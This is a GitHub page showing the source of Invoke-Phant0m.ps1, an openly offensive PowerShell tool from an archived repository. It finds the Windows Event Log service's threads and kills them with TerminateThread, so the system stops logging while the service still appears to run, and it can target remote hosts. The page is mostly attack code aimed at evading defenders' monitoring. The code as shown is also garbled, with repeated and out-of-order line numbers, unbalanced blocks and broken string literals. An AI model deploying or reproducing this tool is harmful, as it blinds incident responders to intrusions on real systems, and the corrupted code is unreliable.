





This repository has been archived by the owner on Jan 18, 2024. It is now read-only.


 hlldz / **Phant0m** Public archive

 Notifications

 Fork 297

 Star 1.8k

<> CodeIssuesPull requestsActionsProjectsSecurityInsights

 Files

30c2935

Go to file

images

old

Invoke-Phant0m.ps1

README.md

phant0m

README.md

phant0m.cna

Phant0m / old / Invoke-Phant0m.ps1

History

CodeBlame1065 lines (941 loc) · 62.8 KB

RawCopyDownloadView

```
1  function Invoke-Phant0m {
2      <#
3      .SYNOPSIS
4      This script walks thread stacks of Event Log Service process (specific svchost.exe) and
5      Event Log Threads to kill Event Log Service Threads. So the system will not be able to
6      logs and at the same time the Event Log Service will appear to be running. I have made
7      for two reasons. First, This script will help to Red Teams and Penetration Testers. Sec
8      want to learn Powershell and Low-Level things on Powershell for cyber security field.
9
10     .DESCRIPTION
11     This script using Jesse Davis (https://github.com/secabstraction) Get-ProcessTrace.ps1
12     infrastructure, https://gist.github.com/secabstraction/508bfd6c0c0809e6d657. Thanks to
13     (https://twitter.com/Stre4meR) and Onur ALANBEL (https://twitter.com/onuralanbel) for s
14     experiences with me.
15
16     .EXAMPLE
17     The following example show sample output and usage the script. Script traces the thread
18     Service process and detect threads. After kill all threads about Event Log Service. Scr
19     Administrator rights on the target system.
20
21     PS C:\> Invoke-Phant0m
22
23     _ _ _ | | _ _ _ _ _ _ _ _ | | _ / _ _ \ _ _ _ _ _
24     | ' _ \ | ' _ \ / _ \ | ' _ \ | | | | ' _ \ _ \
25     | |_) | | | | ( | | | | | | | | | | | |
26     | . _ / | | | \ _ , _ | | | \ _ \ _ _ / | | | |
27     | _ |
28
29
30     [!] I'm here to blur the line between life and death...
31
32     [*] Enumerating threads of PID: 1000...
33     [*] Parsing Event Log Service Threads...
34     [+] Thread 1001 Successfully Killed!"
35     [+] Thread 1002 Successfully Killed!"
36     [+] Thread 1003 Successfully Killed!"
37     [+] Thread 1004 Successfully Killed!"
38
39     [+] All done, you are ready to go!
40
41     .NOTES
42     Version: 1.0
43     Author : Halil DALABASMAZ (https://github.com/hlldz, https://twitter.com/hlldz)
44
45     #>
46     [CmdLetBinding()]
47         Param(
48             [Parameter(Position = 0, ValueFromPipeline = $true)]
49             [String[]]$ComputerName,
50
51             [Parameter(ParameterSetName = 'Id')]
52             [ValidateNotNullOrEmpty()]
53             [Int]$Id = -1
54         )
55     }
```

```
--
56     $intro = '@'
57
58
59     _ _ _ | | _ _ _ _ _ _ | | _ / _ \ _ _ _ _ _
60 | ' _ \ | ' _ \ / _ \ | ' _ \ | | | | ' _ \ _ \
61 | | ) | | | | ( | | | | | | | | | | | |
62 | . _ / | | | \ _ , _ | | | \ _ \ _ \ / | | | |
63 | _ |
64
65 '@
66
67 Write-Host $intro -ForegroundColor Cyan
68
69 Write-Host ""
70 Write-Host "[!] I'm here to blur the line between life and death..." -ForegroundColor Red
71 Write-Host ""
72
73 $ScriptBlock = {
74     Param (
75         [Parameter()]
76         [String]$Name,
77
78         [Parameter()]
79         [Int]$Id
80     )
81     if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent().IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) {
82         Write-Warning "This script should be ran with administrative privileges."
83     }
84     $Domain = [AppDomain]::CurrentDomain
85     $DynAssembly = New-Object System.Reflection.AssemblyName -ArgumentList $Name
86     $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.EmitTypeSecFlags]::IgnoreFlags)
87     $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
88     $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors([Type]::GetTypeInfo($Type)).FirstOrDefault()
89
90     #region STRUCTS
91
92     #region ENUM ProcessorArch
93     $TypeBuilder = $ModuleBuilder.DefineEnum('ProcessorArch', 'Public', [UInt16])
94     [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_INTEL', [UInt16] 0)
95     [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_MIPS', [UInt16] 0x01)
96     [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA', [UInt16] 0x02)
97     [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_PPC', [UInt16] 0x03)
98     [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_SHX', [UInt16] 0x04)
99     [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ARM', [UInt16] 0x05)
100    [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_IA64', [UInt16] 0x06)
101    [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA64', [UInt16] 0x07)
102    [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_AMD64', [UInt16] 0x09)
103    [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_UNKNOWN', [UInt16] 0xFF)
104    $Global:ProcessorArch = $TypeBuilder.CreateType()
105    #endregion ENUM ProcessorArch
106
107    #region SYSTEM_INFO
108    $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, Serializable'
109    $TypeBuilder = $ModuleBuilder.DefineType('SYSTEM_INFO', $Attributes, [ValueType])
110    [void]$TypeBuilder.DefineField('ProcessorArchitecture', $ProcessorArch, 'Public')
111    [void]$TypeBuilder.DefineField('Reserved', [Int16], 'Public')
112    [void]$TypeBuilder.DefineField('PageSize', [Int32], 'Public')
113    [void]$TypeBuilder.DefineField('MinimumApplicationAddress', [IntPtr], 'Public')
114    [void]$TypeBuilder.DefineField('MaximumApplicationAddress', [IntPtr], 'Public')
115    [void]$TypeBuilder.DefineField('ActiveProcessorMask', [IntPtr], 'Public')
116    [void]$TypeBuilder.DefineField('NumberOfProcessors', [Int32], 'Public')
117    [void]$TypeBuilder.DefineField('ProcessorType', [Int32], 'Public')
```



```
992
993     $Symbol = Get-SymbolFromAddress -ProcessHandle $ProcessHandle -Address $Address
994     $SymbolName = (([String]$Symbol.Name).Replace(' ',')).TrimEnd([Byte]0)
995
996     $Properties = @{
997         ProcessId = $ProcessId
998         ThreadId = $ThreadId
999         AddrPC = $StackFrame.AddrPC.Offset
1000         AddrReturn = $StackFrame.AddrReturn.Offset
1001         Symbol = $SymbolName
1002         MappedFile = $MappedFile
1003     }
1004     New-Object -TypeName PSObject -Property $Properties
1005 } until ($StackFrame.AddrReturn.Offset -eq 0) # End of stack reached
1006
1007 # Cleanup
1008 [Runtime.InteropServices.Marshal]::FreeHGlobal($lpStackFrame)
1009 [Runtime.InteropServices.Marshal]::FreeHGlobal($lpContextRecord)
1010 if ($Kernel32::ResumeThread($hThread) -eq -1) { Write-Error "Unable to resume thread" }
1011 if (!$Kernel32::CloseHandle.Invoke($hThread)) { Write-Error "Unable to close thread handle" }
1012 }
1013
1014
1015 Write-Host "[*] Enumerating threads of PID: $(Get-WmiObject -Class win32_serviceprocess -Namespace 'root\cimv2' -Filter "PID=$PID")"
1016 foreach ($Process in (Get-Process -Id (Get-WmiObject -Class win32_serviceprocess -Namespace 'root\cimv2' -Filter "PID=$PID").ProcessId)) {
1017     {
1018         if (($ProcessHandle = $Kernel32::OpenProcess(0x1F0FFF, $false, $ProcessId)) -eq 0) {
1019             Write-Error -Message "Unable to open handle for process $($ProcessId)"
1020             continue
1021         }
1022         if (!$Dbghelp::SymInitialize($ProcessHandle, $null, $false)) {
1023             Write-Error "Unable to initialize symbol handler for process $($ProcessId)"
1024             if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unable to close process handle" }
1025             continue
1026         }
1027         $ContextRecord = $Kernel32::CreateContext($ProcessHandle, 0, $null, $null, $null, 0)
1028         $StackFrame = $Kernel32::StackWalk($ProcessHandle, $ProcessHandle, $ContextRecord, $ContextRecord, $null, $null, $null, $null, $null, $null, $null, $null)
1029         while ($StackFrame -ne $null) {
1030             $Symbol = Get-SymbolFromAddress -ProcessHandle $ProcessHandle -Address $StackFrame.AddrPC.Offset
1031             $SymbolName = (([String]$Symbol.Name).Replace(' ',')).TrimEnd([Byte]0)
1032             $Properties = @{
1033                 ProcessId = $ProcessId
1034                 ThreadId = $ThreadId
1035                 AddrPC = $StackFrame.AddrPC.Offset
1036                 AddrReturn = $StackFrame.AddrReturn.Offset
1037                 Symbol = $SymbolName
1038                 MappedFile = $MappedFile
1039             }
1040             New-Object -TypeName PSObject -Property $Properties
1041             $StackFrame = $Kernel32::StackWalk($ProcessHandle, $ProcessHandle, $ContextRecord, $ContextRecord, $null, $null, $null, $null, $null, $null, $null, $null)
1042         }
1043     }
1044 }
```

```
1025         break
1026     }
1027
1028     $Process.Threads | ForEach-Object -Process { Trace-Thread -ProcessHandle $_ }
1029
1030     if (!$Dbghelp::SymCleanup($ProcessHandle)) { Write-Error "Unable to cleanup symbols" }
1031     if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unable to close process handle" }
1032     [GC]::Collect()
1033 }
1034
1035
1036 }# End of ScriptBlock
1037
1038 if ($PSBoundParameters['ComputerName']) { $ReturnedObjects = Invoke-Command -ComputerName $ComputerName -ScriptBlock $ScriptBlock -ArgumentList @($ComputerName, $ScriptBlock)
1039 else { $ReturnedObjects = Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList @($ComputerName, $ScriptBlock) }
1040
1041 $eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like '*evt*'} | Select-Object MappedFile, ThreadName
1042 Write-Host "[*] Parsing Event Log Service Threads..." -ForegroundColor Yellow
1043
1044 if(!($eventLogThreads)) {
1045     Write-Host "[!] There are no Event Log Service Threads, Event Log Service is not running"
1046     Write-Host "[+] You are ready to go!" -ForegroundColor Green
1047     Write-Host ""
1048 }
1049 else {
1050     [array]$array = $eventLogThreads
1051
1052     for ($i = 0; $i -lt $array.Count; $i++) {
1053         $getThread = $Kernel32::OpenThread(0x0001, $false, $($array[$i]))
1054         if ($kill = $Kernel32::TerminateThread($getThread, 1)) {Write-Host "[+] Thread $i killed" }
1055         $close = $Kernel32::CloseHandle($getThread)
1056     }
1057
1058     Write-Host ""
1059     Write-Host "[+] All done, you are ready to go!" -ForegroundColor Green
1060     Write-Host ""
1061 }
1062
1063
1064 [GC]::Collect()
1065 }
```